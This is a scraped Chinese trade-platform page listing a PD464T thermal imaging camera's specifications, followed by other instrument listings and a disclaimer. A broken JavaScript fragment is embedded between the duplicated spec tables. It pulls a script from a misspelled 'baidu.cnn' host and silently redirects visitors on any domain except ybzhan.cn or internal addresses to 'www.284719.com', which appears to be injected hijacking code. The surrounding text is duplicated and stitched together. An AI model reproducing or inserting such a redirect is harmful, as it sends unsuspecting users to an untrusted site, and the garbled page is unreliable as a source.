| 型号:PD464T | NETD:≤40mK(@25°C,F#1.0,25Hz) | 水平运动:360° 连续,0.1°~200°/s |
| 像元尺寸:12μm | 语音对讲:支持 | 包装:盒装 |
| 是否定制:否 | 是否厂家:是 | 售卖地:全国 |
| 产品特性:摄像机 | 红外补光:200m | 垂直运动:-27°~+90°,0.1°~120°/s |
| 可售卖地:全国 | 传感器类型:氧化钒非制冷焦平面探测器 | 雨刮:自感应雨刮 |














else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
| 型号:PD464T | NETD:≤40mK(@25°C,F#1.0,25Hz) | 水平运动:360° 连续,0.1°~200°/s |
| 像元尺寸:12μm | 语音对讲:支持 | 包装:盒装 |
| 是否定制:否 | 是否厂家:是 | 售卖地:全国 |
| 产品特性:摄像机 | 红外补光:200m | 垂直运动:-27°~+90°,0.1°~120°/s |
| 可售卖地:全国 | 传感器类型:氧化钒非制冷焦平面探测器 | 雨刮:自感应雨刮 |














| 产品名称 | 参考价 | 地区 | 公司名称 | 更新时间 | |
|---|---|---|---|---|---|
| 奥林巴斯手持式考古光谱仪价格 | 面议 | 上海市 | 赢洲科技(上海)有限公司 | 2026-07-21 | 在线询价 |
| 红外光谱辐射计 | 面议 | 杭州市 | 杭州双色智能检测仪器有限公司 | 2026-07-20 | 在线询价 |
| 德国BRUKER纳米红外光谱与成像系统 | 面议 | 深圳市 | 深圳市世纪天源仪器有限公司 | 2026-07-14 | 在线询价 |
| 荧光分光光谱仪 | ¥78800 | 潍坊市 | 山东蓝景电子科技有限公司 | 2026-07-10 | 在线询价 |
| 智能直读光谱分析仪 | ¥11000 | 南京市 | 南京长友宜分析仪器有限公司 | 2026-06-25 | 在线询价 |
| PD464T红外双目网络摄像头 高清双光谱热成像 Raythink | 面议 | 烟台市 | 燧石技术(烟台)有限公司 | 2026-06-21 | 在线询价 |
所展示的信息由会员自行提供,内容的真实性、准确性和合法性由发布会员负责,九五至尊网站对此不承担任何责任。九五至尊网站不涉及用户间因交易而产生的法律关系及法律纠纷,纠纷由您自行协商解决
友情提醒 :本网站仅作为用户寻找交易对象,就货物和服务的交易进行协商,以及获取各类与贸易相关的服务信息的平台。为避免产生购买风险,建议您在购买相关产品前务必确认供应商资质及产品质量。过低的价格、夸张的描述、私人银行账户等都有可能是虚假信息,请采购商谨慎对待,谨防欺诈,对于任何付款行为请您慎重抉择!如您遇到欺诈等不诚信行为,请您立即与九五至尊网站联系,如查证属实,九五至尊网站会对该企业商铺做注销处理,但九五至尊网站不对您因此造成的损失承担责任!
相关产品分类更多+
精彩视频更多+
*您想获取产品的资料:
个人信息: